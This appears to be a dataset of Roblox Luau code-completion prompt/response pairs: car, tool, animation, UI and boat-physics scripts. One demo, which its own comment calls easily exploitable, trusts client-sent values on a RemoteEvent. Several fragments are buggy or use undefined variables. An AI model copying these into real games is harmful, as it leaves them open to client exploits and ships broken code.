		CountdownTimersModule:RemoveTimer(timer)
		timer = nil
	end

	FullScreenModule.RemoveButton()
	FullScreenModule.FocusScreen() -- Return camera to character

	if MerchBooth.isMerchBoothEnabled() then
		MerchBooth.setEnabled(false)
	end

	setFriendsLocatorEnabled(false)
end

return Schema


Prompt: --хранилище и копии зелий

Response:
local storage = game:GetService("ServerStorage")
local healthPotion = storage["Health Potion"]:Clone()
local gun = storage["FAL"]:Clone()
local coins = storage["Coins"]:Clone()

char.Humanoid.Died:Connect(function()
	--подбрасываем кубик
	local rand = math.random(0,2)
	if rand == 0 then --если 0, то
		--падает зелье здоровья
		healthPotion.Handle.Position = char.HumanoidRootPart.Position
		healthPotion.Parent = workspace
		coins.Handle.Position = char.HumanoidRootPart.Position
		coins.Parent = workspace

		elseif rand == 1 then --если 1, то
		--падает оружее
		gun.Handle.Position = char.HumanoidRootPart.Position
		gun.Parent = workspace
		coins.Handle.Position = char.HumanoidRootPart.Position
		coins.Parent = workspace
	end
	-- а если на кубике выпадает 3, то ничего не выпадет
	wait(10)
	copy.Parent = workspace
	char:Remove()
	end)


Prompt:
--[[
How To Use?
2. Put the ItemBuyerGUI in StarterGui
3. Enable Third Party Sales under Game Settings -> Security
4. Publish/Save your game to Roblox from the file menu
5. Input item ID while in-game to buy the item
--]]


Prompt: --SSR&D AR TIMER MAIN

Response:
powerlmp = script.Parent.TimerDoorButtons.Door.PowerLamp.IsOn
signallmp =  script.Parent.TimerDoorButtons.Door.SigLamp.IsOn


Response:
local BLOCK_ARRAY = fromIndexArray(BLOCK)
local WEDGE_ARRAY = fromIndexArray(WEDGE)
local CORNERWEDGE_ARRAY = fromIndexArray(CORNERWEDGE)
local CYLINDER_ARRAY = cylinder(20)
local SPHERE_ARRAY = icoSphere(2)

return {
	Block = function(cf, size2) return vertShape(cf, size2, BLOCK_ARRAY) end;
	Wedge = function(cf, size2) return vertShape(cf, size2, WEDGE_ARRAY) end;
	CornerWedge = function(cf, size2) return vertShape(cf, size2, CORNERWEDGE_ARRAY) end;
	Cylinder = function(cf, size2) return vertShape(cf, size2, CYLINDER_ARRAY) end;
	Ball = function(cf, size2) return vertShape(cf, size2, SPHERE_ARRAY) end;

	GetCentroid = getCentroidFromSet;
	Classify = classify;
}


Response:
function onChildAdded(child)
	if child.Name == "SeatWeld" then
		local human = child.part1.Parent:findFirstChild("Humanoid")
		if (human ~= nil) then
			print("Human IN")
			seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car"
			seat.Parent.Name = human.Parent.Name.."'s Car"
			s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
			seat.Start:Play()
			wait(1)
			seat.Start:Stop()
			seat.Engine:Play()
		end
	end
end

function onChildRemoved(child)
	if (child.Name == "SeatWeld") then
		local human = child.part1.Parent:findFirstChild("Humanoid")
		if (human ~= nil) then
			print("Human OUT")
			seat.Parent.Name = "Empty Car"
			seat.SirenControl.Control.CarName.Value = "Empty Car"
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
			seat.Engine:Stop()
		end
	end
end

script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)


Prompt: -- Tween a part up and down (ping-pong animation)

Response:
local TweenService = game:GetService("TweenService")
local partToTween = script.Parent
local inTween = false


Prompt:
--script.Parent.Parent.Parent.Sound.Idle:Stop()
--script.Parent.Parent.Parent.Sound.Grab:Play()

Response:
script.Parent.Parent.Prong1.Motor.HingeConstraint.TargetAngle = 75
script.Parent.Parent.Prong2.Motor.HingeConstraint.TargetAngle = 75
script.Parent.Parent.Prong3.Motor.HingeConstraint.TargetAngle = 75


Prompt: --Control Mapping

Response:
Tune.Controls = {

	--Keyboard Controls
	--Mode Toggles
	ToggleABS				= Enum.KeyCode.Y					,
	ToggleTransMode			= Enum.KeyCode.M					,
	--Primary Controls
	Throttle				= Enum.KeyCode.Up					,
	Brake					= Enum.KeyCode.Down					,
	SteerLeft				= Enum.KeyCode.Left					,
	SteerRight				= Enum.KeyCode.Right				,

	--Secondary Controls
	Throttle2				= Enum.KeyCode.W					,
	Brake2					= Enum.KeyCode.S					,
	SteerLeft2				= Enum.KeyCode.A					,
	SteerRight2				= Enum.KeyCode.D					,

	--Manual Transmission
	ShiftUp					= Enum.KeyCode.E					,
	ShiftDown				= Enum.KeyCode.Q					,
	Clutch					= Enum.KeyCode.LeftShift			,

	--Handbrake
	PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
	MouseThrottle			= Enum.UserInputType.MouseButton1	,
	MouseBrake				= Enum.UserInputType.MouseButton2	,
	MouseClutch				= Enum.KeyCode.W					,
	MouseShiftUp			= Enum.KeyCode.E					,
	MouseShiftDown			= Enum.KeyCode.Q					,
	MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
	ContlrThrottle			= Enum.KeyCode.ButtonR2				,
	ContlrBrake				= Enum.KeyCode.ButtonL2				,
	ContlrSteer				= Enum.KeyCode.Thumbstick1			,
	ContlrShiftUp			= Enum.KeyCode.ButtonY				,
	ContlrShiftDown			= Enum.KeyCode.ButtonX				,
	ContlrClutch			= Enum.KeyCode.ButtonR1				,
	ContlrPBrake			= Enum.KeyCode.ButtonL1				,
	ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
	ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
	ContlrToggleABS			= Enum.KeyCode.DPadRight			,
}


Prompt: -- Initialize the tool

Response:
local PaintTool = {

	Name = 'Paint Tool';
	Color = BrickColor.new 'Really red';

	-- Default options
	BrickColor = nil;

};


Prompt: --returns the wielding player of this tool

Response:
function getPlayer()
	local char = Tool.Parent
	return game:GetService("Players"):GetPlayerFromCharacter(Character)
end

function Toss(direction)
	local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
	local spawnPos = Character.Head.Position

	spawnPos  = spawnPos + (direction * 5)

	local Object = Tool.Handle:Clone()
	Object.Pin:Destroy()
	Object.ThinkFast:Destroy()
	Object.Parent = workspace
	Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100
	Object.Swing:Play()
	Object.CanCollide = true
	Object.CFrame = Tool.Handle.CFrame
	Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
	Object.Trail.Enabled = true

	local rand = 11.25
	Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand))
	Object:SetNetworkOwner(getPlayer())

	local ScriptClone = DamageScript:Clone()
	ScriptClone.Parent = Object
	ScriptClone.Disabled = false

	local tag = Instance.new("ObjectValue")
	tag.Value = getPlayer()
	tag.Name = "creator"
	tag.Parent = Object
end

PowerRemote.OnServerEvent:Connect(function(player, Power)
	local holder = getPlayer()
	if holder ~= player then return end

	AttackVelocity = Power
end)

TossRemote.OnServerEvent:Connect(function(player, mousePosition)
	local holder = getPlayer()
	if holder ~= player then return end

	if Cooldown.Value == true then return end
	Cooldown.Value = true

	if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
		TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation")
	end
	local targetPos = mousePosition.p
	local lookAt = (targetPos - Character.Head.Position).unit

	local SecretRNG = Random.new():NextInteger(1,10) --Change RNG value here
	if SecretRNG == 1 then
		local ChucklenutsSound = Tool.Handle.ThinkFast:Play()
	end

	Toss(lookAt)

	task.wait(CooldownTime)
	Cooldown.Value = false
end)

Tool.Equipped:Connect(function()
	Character = Tool.Parent
	Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)

Tool.Unequipped:Connect(function()
	Character = nil
	Humanoid = nil
end)


Response:
function onRunning(speed)
	if speed > 0.01 then
		if Humanoid.WalkSpeed > 16 then
			playAnimation("run", 0.1, Humanoid)
			pose = "Running"
		else
			playAnimation("walk", 0.1, Humanoid)
			pose = "Walking"
		end
	else
		if emoteNames[currentAnim] == nil then
			playAnimation("idle", 0.1, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed > 0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

function animateTool()

	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, Humanoid)
		return
	elseif (pose == "Running") then
		playAnimation("run", 0.1, Humanoid)
	elseif pose == "Walking" then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then


Prompt:
--[[**
	Instantiates a new Janitor object.
	@returns [t:Janitor]
**--]]

Response:
function Janitor.new()
	return setmetatable({
		CurrentlyCleaning = false;
		[IndicesReference] = nil;
	}, Janitor)
end


Prompt: -- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Merges tbl0 and tbl1 together.

Response:
Table.join = function (tbl0, tbl1)
	local nt = table.create(#tbl0 + #tbl1)
	local t2 = table.move(tbl0, 1, #tbl0, 1, nt)
	return table.move(tbl1, 1, #tbl1, #tbl0 + 1, nt)
end


Prompt:
--[[
	MouseLockController - Replacement for ShiftLockController, manages use of mouse-locked mode
	2018 Camera Update - AllYourBlox
--]]


Prompt:
--	local now = os.time()
--	if now - lastMoan > 5 then
--		if math.random() > .3 then
--			zombie.Moan:Play()
----			print("playing moan")
--			lastMoan = now
--		end
--	end

Response:
	wait(2)
end

local hum = script.Parent:WaitForChild("Humanoid")
local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
anim.Looped = true
anim:Play()
end


Prompt: --//Events\\--

Response:
game:GetService("RunService").RenderStepped:Connect(function()
 --//Visible\\--
 for i, part in pairs(character:GetChildren())do
  if string.match(part.Name, "Arm")or string.match(part.Name, "Hand") then
   part.LocalTransparencyModifier = 0
  end
 end
end)


Prompt: -- Validator for Roblox enums

Response:
local UtilityRoot = script.Parent
local UIBloxRoot = UtilityRoot.Parent

local t = require(UIBloxRoot.Parent.t)

local function enumValidator(enum)
	local validators = {}

	for _, enumItem in pairs(enum) do
		validators[#validators + 1] = t.literal(enumItem)
	end

	return t.union(unpack(validators))
end

return enumValidator


Prompt: --[[ Gamepad Support ]]

Response:
--
local THUMBSTICK_DEADZONE = 0.2


Prompt:
--[[
	ROBLOX deviation: checks for Roblox builtin data types
	https://developer.roblox.com/en-us/api-reference/data-types
]]

Response:
local function isRobloxBuiltin(value: any): boolean
	return type(value) ~= typeof(value)
end

local function getType(value: any): string
	--[[
		ROBLOX deviation: code omitted because lua has no primitive undefined type
		lua makes no distinction between null and undefined so we just return nil
	]]
	if value == nil then
		return "nil"
	end
	if typeof(value) == "boolean" then
		return "boolean"
	end
	if typeof(value) == "function" then
		return "function"
	end
	if typeof(value) == "number" then
		return "number"
	end
	if typeof(value) == "string" then
		return "string"
	end
	if typeof(value) == "DateTime" then
		return "DateTime"
	end
	if typeof(value) == "userdata" and tostring(value):match("Symbol%(.*%)") then
		return "symbol"
	end
	if typeof(value) == "table" then
		local ok, hasRegExpShape = pcall(function()
			return typeof(value.test) == "function" and typeof(value.exec) == "function"
		end)
		if ok and hasRegExpShape then
			RegExp = require(Packages.RegExp)

			if instanceof(value, RegExp) then
				return "regexp"
			end
		end
	end
	if instanceof(value, Error) then
		return "error"
	end
	if instanceof(value, Map) then
		return "map"
	end
	if instanceof(value, Set) then
		return "set"
	end
	--[[
		ROBLOX deviation: lua makes no distinction between tables, arrays, and objects
		we always return table here and consumers are expected to perform the check
	]]
	if typeof(value) == "table" then
		return "table"
	end

	--[[
		ROBLOX deviation: returns name of Roblox datatype
		https://developer.roblox.com/en-us/api-reference/data-types
	]]
	if isRobloxBuiltin(value) then
		return typeof(value)
	end

	-- ROBLOX deviation: added luau types for userdata and thread
	if type(value) == "userdata" then
		return "userdata"
	end
	if typeof(value) == "thread" then
		return "thread"
	end
	-- ROBLOX deviation: code omitted because lua has no primitive bigint type
	-- ROBLOX deviation: code omitted because lua makes no distinction between tables, arrays, and objects

	-- ROBLOX deviation: include the type in the error message
	error(string.format("value of unknown type: %s (%s)", typeof(value), tostring(value)))
end

local function isPrimitive(value: any): boolean
	-- ROBLOX deviation: explicitly define objects and functions and Instances as non primitives
	return typeof(value) ~= "table" and typeof(value) ~= "function" and not isRobloxBuiltin(value)
end

return {
	getType = getType,
	isPrimitive = isPrimitive,
	isRobloxBuiltin = isRobloxBuiltin,
}


Prompt: -- Checking what mouth shape will be

Response:
function UpdateMouth()
if Mouth.Transparency == 1 then
Mouth1_2.Transparency = 1
Mouth1_2.MouthDecal.Transparency = 1
elseif Mouth.Transparency == 0 then
Mouth1_2.Transparency = 0.75
Mouth1_2.MouthDecal.Transparency = 0
end
if Mouth2.Transparency == 1 then
Mouth2_2.Transparency = 1
Mouth2_2.MouthDecal.Transparency = 1
elseif Mouth2.Transparency == 0 then
Mouth2_2.Transparency = 0.75
Mouth2_2.MouthDecal.Transparency = 0
end
end

Mouth.Changed:Connect(UpdateMouth)
Mouth2.Changed:Connect(UpdateMouth)


Prompt:
--- Installs listener for targeting mode toggling hotkeys.
-- @returns void

Response:
function TargetingModule:BindTargetingModeHotkeys()
	local function Callback(Action, State, Input)
		if (State.Name == 'End') then
			return Enum.ContextActionResult.Pass
		end

		-- Ensure shift is held
		local KeysPressed = UserInputService:GetKeysPressed()
		local IsShiftHeld = Input:IsModifierKeyDown(Enum.ModifierKey.Shift)
		if (#KeysPressed ~= 2) or (not IsShiftHeld) then
			return Enum.ContextActionResult.Pass
		end

		-- Toggle between targeting modes
		self:ToggleTargetingMode()
		self:UpdateTarget(nil, true)

		-- Sink input
		return Enum.ContextActionResult.Sink
	end

	-- Install listener for T key
	ContextActionService:BindAction('BT: Toggle Targeting Mode', Callback, false, Enum.KeyCode.T)

	-- Unbind hotkey when tool is disabled
	local Core = GetCore()
	Core.Connections.UnbindTargetingModeHotkeys = Core.Disabling:Connect(function ()
		ContextActionService:UnbindAction('BT: Toggle Targeting Mode')
	end)
end

function GetCore()
	return require(script.Parent);
end;

return TargetingModule;


Prompt: -- Root variables

Response:
local Tool = script.Parent
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:wait()
local Humanoid = Character:WaitForChild("Humanoid")
local SettingsFolder = Tool:WaitForChild("Configuration")
local MaxSpeed = SettingsFolder:WaitForChild("MaxSpeed")
local TurnSpeed = SettingsFolder:WaitForChild("TurnSpeed")
local StarterColor = SettingsFolder:WaitForChild("StartingColor")
local ToolCoolDown = 2


Prompt: -- ALWAYS PUBLIC:

Response:
function GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...}
	local query_list = {}
	for _, global_update in ipairs(self._updates_latest[2]) do
		if global_update[3] == false then
			local is_pending_lock = false
			if self._pending_update_lock ~= nil then
				for _, update_id in ipairs(self._pending_update_lock) do
					if global_update[1] == update_id then
						is_pending_lock = true -- Exclude global updates pending to be locked
						break
					end
				end
			end
			if is_pending_lock == false then
				table.insert(query_list, {global_update[1], global_update[4]})
			end
		end
	end
	return query_list
end

function GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...}
	local query_list = {}
	for _, global_update in ipairs(self._updates_latest[2]) do
		if global_update[3] == true then
			local is_pending_clear = false
			if self._pending_update_clear ~= nil then
				for _, update_id in ipairs(self._pending_update_clear) do
					if global_update[1] == update_id then
						is_pending_clear = true -- Exclude global updates pending to be cleared
						break
					end
				end
			end
			if is_pending_clear == false then
				table.insert(query_list, {global_update[1], global_update[4]})
			end
		end
	end
	return query_list
end


Prompt:
-- The pixel dimensions in Figma for the outer circle and inner circle are 24px
-- and 16px, respectively. This ratio is used to set the scale of the inner
-- circle so that it is always proportionally the same regardless of what size
-- the outer circle is set to.

Response:
local SELECTION_INDICATOR_RATIO = 16 / 24

local RadioButton = Roact.Component:extend("RadioButton")

local defaultProps = {
	isSelected = false,
	isHovered = false,
	size = UDim2.fromOffset(24, 24),

	-- TODO: replace below props with theme system (SOCIALAPP-2401)
	buttonColor = constants.White,
	inactiveButtonColor = constants.Faded,
}

export type Props = typeof(defaultProps) & {
	layoutOrder: number?,
	onActivated: (() -> ())?,
	onHoverChanged: ((boolean) -> ())?,
}

RadioButton.defaultProps = defaultProps

function RadioButton:init()
	self.onActivated = function()
		local props: Props = self.props

		if not props.isSelected and props.onActivated then
			props.onActivated()
		end
	end

	self.onHoverChanged = function(isHovered: boolean)
		return function()
			local props: Props = self.props

			if props.onHoverChanged then
				props.onHoverChanged(isHovered)
			end
		end
	end
end

function RadioButton:render()
	local props: Props = self.props

	return Roact.createElement("ImageButton", {
		LayoutOrder = props.layoutOrder,
		Selectable = false,
		Size = props.size,
		Image = assets.RadioButtonOuter,
		ImageColor3 = if props.isSelected or props.isHovered then props.buttonColor else props.inactiveButtonColor,
		BackgroundTransparency = 1,
		[Roact.Event.Activated] = self.onActivated,
		[Roact.Event.MouseEnter] = self.onHoverChanged(true),
		[Roact.Event.MouseLeave] = self.onHoverChanged(false),
	}, {
		SelectionIndicator = props.isSelected and Roact.createElement("ImageLabel", {
			Image = assets.RadioButtonInner,
			Size = UDim2.fromScale(SELECTION_INDICATOR_RATIO, SELECTION_INDICATOR_RATIO),
			ImageColor3 = props.buttonColor,
			Position = UDim2.fromScale(0.5, 0.5),
			AnchorPoint = Vector2.new(0.5, 0.5),
			BackgroundTransparency = 1,
		}),
	})
end

return RadioButton


Prompt:
-- Don't use this as a learning example. It has no serverside verification and
-- is easily exploitable. This is fine for demo purposes, but not live games!

Response:
script.Parent.RemoteEvent.OnServerEvent:Connect(function(player, cursorPos)
	local projectile = Instance.new("Part")
	projectile.Size = Vector3.new(0.5, 0.5, 0.5)
	projectile.Material = "Neon"
	projectile.BrickColor = BrickColor.new("Neon orange")
	projectile.Transparency = 0.5
	projectile.Shape = Enum.PartType.Ball
	projectile.CFrame = tool.Handle.CFrame

	local attachment = Instance.new("Attachment", projectile)

	local vectorForce = Instance.new("VectorForce", projectile)
	vectorForce.RelativeTo = Enum.ActuatorRelativeTo.World
	vectorForce.Attachment0 = attachment
	vectorForce.Force = (cursorPos - tool.Handle.CFrame.p).unit * PROJECTILE_FORCE

	projectile.Parent = workspace
	projectile:SetNetworkOwner(player)
	Debris:AddItem(projectile, 5)

	projectile.Touched:Connect(function()
		projectile:Destroy()
	end)
end)


Prompt: -- R6 only!

Response:
repeat game:GetService("RunService").Stepped:Wait() until game.Players.LocalPlayer
local player = script.Parent.Parent
local mouse = player:GetMouse()
local selecting = false
local valve

mouse.Button1Up:Connect(function()
	if selecting == true then
		 valve = mouse.Target
		if valve.Using.Value == false and valve.Parent == workspace.Valves and script.Parent.IsUsingValve.Value == false then
			if box then
				box:Destroy()
			end
			valve.Using.Value = true
			script.Parent.IsUsingValve.Value = true
			local camera = workspace.CurrentCamera
			local tweenservice = game:GetService('TweenService')
			local cf = camera.CFrame
			repeat
				wait(.01)
				camera.CameraType = Enum.CameraType.Scriptable
			until camera.CameraType == Enum.CameraType.Scriptable
			character.HumanoidRootPart.Anchored = true
			script.Parent.ValveUI.Enabled = true
			tweenservice:Create(camera,TweenInfo.new(1,Enum.EasingStyle.Cubic,Enum.EasingDirection.Out), {CFrame = valve.offset.WorldCFrame}):Play()
			repeat
				wait(.01)
			until valve.Orientation.X > 59
			wait(1.5)
			script.Parent.ValveUI.Enabled = false
			valve.Turn:Play()
			valve.Parent = workspace.Valves.Completed
			valve.Using.Value = false
			wait(0.3)
			tweenservice:Create(camera,TweenInfo.new(1,Enum.EasingStyle.Cubic,Enum.EasingDirection.Out), {CFrame = cf}):Play()
			valve = nil
			wait(1)
			script.Parent.IsUsingValve.Value = false
			character.HumanoidRootPart.Anchored = false
			repeat
				wait(.01)
				camera.CameraType = Enum.CameraType.Custom
			until camera.CameraType == Enum.CameraType.Custom

		end
	end
end)

mouse.KeyDown:Connect(function(key)
	if key == "d" then
		holding = true
		print('play')
		e = 'Front'
		end
end)

mouse.KeyUp:Connect(function(key)
	if key == "d" then
		holding = false
		e = 'nil'
		print('stop')

	elseif key == "a" then
		holding = false
		e = 'nil'
		print('stop')

	end
end)

while wait() do

	for i,v in pairs(workspace.Valves.Completed:GetChildren()) do
		if i == 5 then
			workspace.Door.Open:FireServer()
		end
	end
	if valve and holding == true then
		if e == 'Front' then
			print('Q')
			valve.CFrame = valve.CFrame * CFrame.fromEulerAnglesXYZ(0.090,0,0)

		elseif e == 'Back' then
			print('E')
			valve.CFrame = valve.CFrame * CFrame.fromEulerAnglesXYZ(-0.050,0,0)

		end
	end

	if mouse.Target then
		if script.Parent.IsUsingValve.Value == false and mouse.Target.Name == '1' or mouse.Target.Name == '2' or mouse.Target.Name == '3' or mouse.Target.Name == '4' or mouse.Target.Name == '5' or mouse.Target.Name == '6' then
				if not mouse.Target:FindFirstChild('selection') and mouse.Target.Parent == workspace.Valves and mouse.Target.Using.Value == false and script.Parent.IsUsingValve.Value == false then
					box = script.Parent.ValveUI.selection:clone()
				box.Parent = mouse.Target

					selecting = true
					box.Adornee = mouse.Target
				end
		else
				selecting = false
				if box then
					box:Destroy()
				end
			end

	end
end


Prompt: -- Created by Quenty

Response:
wait(1)

local Configuration = {
	MaxSpeed               = 30;
	Acceleration           = 5; -- Will always be a little bit less than this because ROBLOX characters will add mass. Also, friction.
	MaxRotationCorrectionAcceleration = math.pi/40;  -- I wouldn't touch this.
		-- math.pi/10 -- Correct for 18 degrees every.... second?
	PercentExtraCargo      = 0.005; -- Compared to boat's mass (weight), how much extra cargo can it support (irncludes characters) before it starts sinking.

	TurnAccelerationFactor = 150; -- E_e No idea why this is 500.
	MaxTurnSpeed           = 2.5; -- RotVelocity will probably never get to this.

	MaxShipTiltInRadians   = math.pi/8;
	TiltRatioFactor        = 0.01; -- Don't touch this. Used because the BodyAngularVelocity "can't even" when it comes to reaching desired velocity.

	AmplitudeOfWaves       = 2.5; -- How far up/down the boat moves in the waves.  (Amplitude, so if you physics, you realize it can move this magnitude away from the starting point, either up, or down).
	MaxShipYawInRadians    = math.pi/120; -- Yaws in the waves
	AddedYawOnSpeed        = math.pi/80;

	WaterLevel = 39;
}

local function WaitForChild(Parent, Name, TimeLimit)
	-- Waits for a child to appear. Not efficient, but it shoudln't have to be. It helps with debugging.
	-- Useful when ROBLOX lags out, and doesn't replicate quickly.
	-- @param TimeLimit If TimeLimit is given, then it will return after the timelimit, even if it hasn't found the child.

	assert(Parent ~= nil, "Parent is nil")
	assert(type(Name) == "string", "Name is not a string.")

	local Child     = Parent:FindFirstChild(Name)
	local StartTime = tick()
	local Warned    = false

	while not Child and Parent do
		wait(0)
		Child = Parent:FindFirstChild(Name)
		if not Warned and StartTime + (TimeLimit or 5) <= tick() then
			Warned = true
			warn("Infinite yield possible for WaitForChild(" .. Parent:GetFullName() .. ", " .. Name .. ")")
			if TimeLimit then
				return Parent:FindFirstChild(Name)
			end
		end
	end

	if not Parent then
		warn("Parent became nil.")
	end

	return Child
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Make(ClassType, Properties)
	-- Using a syntax hack to create a nice way to Make new items.

	return Modify(Instance.new(ClassType), Properties)
end

local Signal = {}

function Signal.new()
	local sig = {}

	local mSignaler = Instance.new('BindableEvent')

	local mArgData = nil
	local mArgDataCount = nil

	function sig:fire(...)
		mArgData = {...}
		mArgDataCount = select('#', ...)
		mSignaler:Fire()
	end

	function sig:connect(f)
		if not f then error("connect(nil)", 2) end
		return mSignaler.Event:connect(function()
			f(unpack(mArgData, 1, mArgDataCount))
		end)
	end

	function sig:wait()
		mSignaler.Event:wait()
		assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
		return unpack(mArgData, 1, mArgDataCount)
	end

	return sig
end

local function WeldTogether(Part0, Part1, JointType, WeldParent)
	--- Weld's 2 parts together
	-- @param Part0 The first part
	-- @param Part1 The second part (Dependent part most of the time).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
	-- @return The weld created.

	JointType = JointType or "Weld"

	local NewWeld = Make(JointType, {
		Part0  = Part0;
		Part1  = Part1;
		C0     = CFrame.new();--Part0.CFrame:inverse();
		C1     = Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
		Parent = WeldParent or Part0;
	})

	return NewWeld
end

local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to weld the model to (can be in the model).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.

	for _, Part in pairs(Parts) do
		WeldTogether(MainPart, Part, JointType, MainPart)
	end

	if not DoNotUnanchor then
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end

local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List;
end

local function GetBricksWithIgnoreFunction(StartInstance, DoIgnore)
	--- Get's the bricks in a model, but will not get a brick that is "NoInclude"

	local List = {}

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") and not DoIgnore(Item) then
			List[#List+1] = Item
		end
	end)

	return List
end

local function GetCharacter(Descendant)
	-- Returns the Player and Charater that a descendent is part of, if it is part of one.
	-- @param Descendant A child of the potential character.

	local Charater = Descendant
	local Player   = Players:GetPlayerFromCharacter(Charater)

	while not Player do
		if Charater.Parent then
			Charater = Charater.Parent
			Player   = Players:GetPlayerFromCharacter(Charater)
		else
			return nil
		end
	end

	return Charater, Player
end

local MakeMaid do
	local index = {
		GiveTask = function(self,task)
			local n = #self.Tasks+1
			self.Tasks[n] = task
			return n
		end;
		DoCleaning = function(self)
			local tasks = self.Tasks
			for name,task in pairs(tasks) do
				if type(task) == 'function' then
					task()
				else
					task:disconnect()
				end
				tasks[name] = nil
			end
			-- self.Tasks = {}
		end;
	};
	local mt = {
		__index = function(self,k)
			if index[k] then
				return index[k]
			else
				return self.Tasks[k]
			end
		end;
		__newindex = function(self,k,v)
			local tasks = self.Tasks
			if v == nil then
				-- disconnect if the task is an event
				if type(tasks[k]) ~= 'function' then
					tasks[k]:disconnect()
				end
			elseif tasks[k] then
				-- clear previous task
				self[k] = nil
			end
			tasks[k] = v
		end;
	}

	function MakeMaid()
		return setmetatable({Tasks={},Instances={}},mt)
	end
end

local function CheckPlayer(Player)
	--- Makes sure a player has all necessary components.
	-- @return Boolean If the player has all the right components

	return Player and Player:IsA("Player")
end

local function CheckCharacter(Player)
	-- Makes sure a character has all the right "parts"

	if CheckPlayer(Player) then
		local Character = Player.Character;

		if Character then

			return Character.Parent
				and Character:FindFirstChild("Humanoid")
				and Character:FindFirstChild("HumanoidRootPart")
				and Character:FindFirstChild("Head")
				and Character.Humanoid:IsA("Humanoid")
				and Character.Head:IsA("BasePart")
				and Character.HumanoidRootPart:IsA("BasePart")
				and true
		end
	else
		--print("[CheckCharacter] - Character Check failed!")
	end

	return nil
end

local function GetCenterOfMass(Parts)
	--- Return's the world vector center of mass.
	-- Lots of help from Hippalectryon :D

	local TotalMass = 0
	local SumOfMasses = Vector3.new(0, 0, 0)

	for _, Part in pairs(Parts) do
		-- Part.BrickColor = BrickColor.new("Bright yellow")
